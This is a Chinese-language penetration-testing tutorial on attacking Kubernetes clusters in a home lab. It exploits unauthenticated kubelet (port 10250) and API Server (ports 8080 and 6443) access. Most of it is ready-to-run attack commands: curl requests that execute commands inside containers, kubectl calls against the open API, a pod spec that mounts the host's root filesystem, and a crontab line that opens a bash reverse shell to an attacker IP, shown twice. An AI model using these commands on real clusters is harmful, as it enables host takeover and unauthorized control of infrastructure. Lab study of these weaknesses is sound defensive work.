云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

知识点

1、云原生-K8s安全-名词架构&各攻击点

2、云原生-K8s安全-Kubelet未授权访问

3、云原生-K8s安全-API Server未授权访问

章节点:

云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等

云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等

云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等

云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

K8S集群架构解释

bash 复制代码
Kubernetes通俗来讲就是用来管理多台主机上的docker容器的一个开源平台应用。
bash 复制代码
1、Master节点(控制端)
2、Node节点(主机)
3、Pod(容器)

具体参考:https://blog.csdn.net/qq_34101364/article/details/122506768

K8S集群攻击点

bash 复制代码
随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。
以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
1、通过攻击云管理平台(K8S-Master节点),利用管理平台控制所有机器
2、通过docker容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
详细攻击点参考:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

如何判断对方使用了k8s技术?

扫目标端口来判断

本地搭建环境测试

搭建环境使用3台Centos 7,参考文章:
https://www.jianshu.com/p/25c01cae990c
https://blog.csdn.net/fly910905/article/details/120887686

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

bash 复制代码
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132


一、演示案例-云原生-K8s安全-Kubelet(node)未授权访问

攻击10250端口:kubelet未授权访问


192.168.230.132配置如下:

bash 复制代码
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet



利用执行命令这里需要三个参数

bash 复制代码
namespace:default
pod:test03
container:test03

1、访问获取三个参数值

bash 复制代码
https://192.168.139.132:10250/runningpods/

2、执行容器命令:

bash 复制代码
curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

执行的命令是test03容器里的命令,需要进行容器逃逸。

二、演示案例-云原生-K8s安全-API Server未授权访问

1、攻击8080端口:API Server(Master)未授权访问

bash 复制代码
旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)
新版本k8s默认已经不开启8080。需要更改相应的配置
bash 复制代码
cd /etc/kubernetes/manifests/
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0




重启kubelet进程

bash 复制代码
systemctl restart kubelet

kubectl官方工具下载地址:https://kubernetes.io/zh-cn/docs/tasks/tools/

一、获取所有主机(nodes)节点

bash 复制代码
kubectl.exe -s 192.168.139.130:8080 get nodes  

二、获取所有容器(pods)节点

bash 复制代码
kubectl.exe -s 192.168.139.130:8080 get pods 

三、创建新的docker容器

bash 复制代码
kubectl -s 192.168.139.130:8080 create -f xiaodi.yaml 
//创建一个pod文件,相当于新建一个名为xiaodi的docker容器





四、进入到创建的docker容器

bash 复制代码
kubectl -s 192.168.139.130:8080 --namespace=default exec -it xiaodi bash 
//docker进入到xiaodi容器的命令

五、容器逃逸获取宿主机shell

bash 复制代码
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell

2、攻击6443端口:API Server(Master)未授权访问

bash 复制代码
一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous

一、创建恶意pods容器

bash 复制代码
https://192.168.139.130:6443/api/v1/namespaces/default/pods/

POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

二、连接查看pods

bash 复制代码
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods

三、进入到test03容器里并反弹宿主机的shell

bash 复制代码
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test03 bash
bash 复制代码
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell

相关推荐
weixin_399380691 小时前
k8s一键部署tongweb企业版7049m6(by why+lqw)
java·linux·运维·服务器·云原生·容器·kubernetes
安全系统学习6 小时前
网络安全之SQL RCE漏洞
安全·web安全·网络安全·渗透测试
慌糖10 小时前
微服务介绍
微服务·云原生·架构
hanniuniu1313 小时前
AI时代API挑战加剧,API安全厂商F5护航企业数字未来
人工智能·安全
zhulangfly13 小时前
API接口安全-1:身份认证之传统Token VS JWT
安全
时时三省14 小时前
【时时三省】vectorcast使用教程
安全·安全架构
galaxylove15 小时前
Gartner发布最新指南:企业要构建防御性强且敏捷的网络安全计划以平衡安全保障与业务运营
网络·安全·web安全
阿里云云原生15 小时前
阿里云可观测 2025 年 6 月产品动态
云原生
PeterJXL15 小时前
Chrome 下载文件时总是提示“已阻止不安全的下载”的解决方案
前端·chrome·安全
阿里云云原生16 小时前
30 秒锁定黑客攻击:SLS SQL 如何从海量乱序日志中“揪”出攻击源
云原生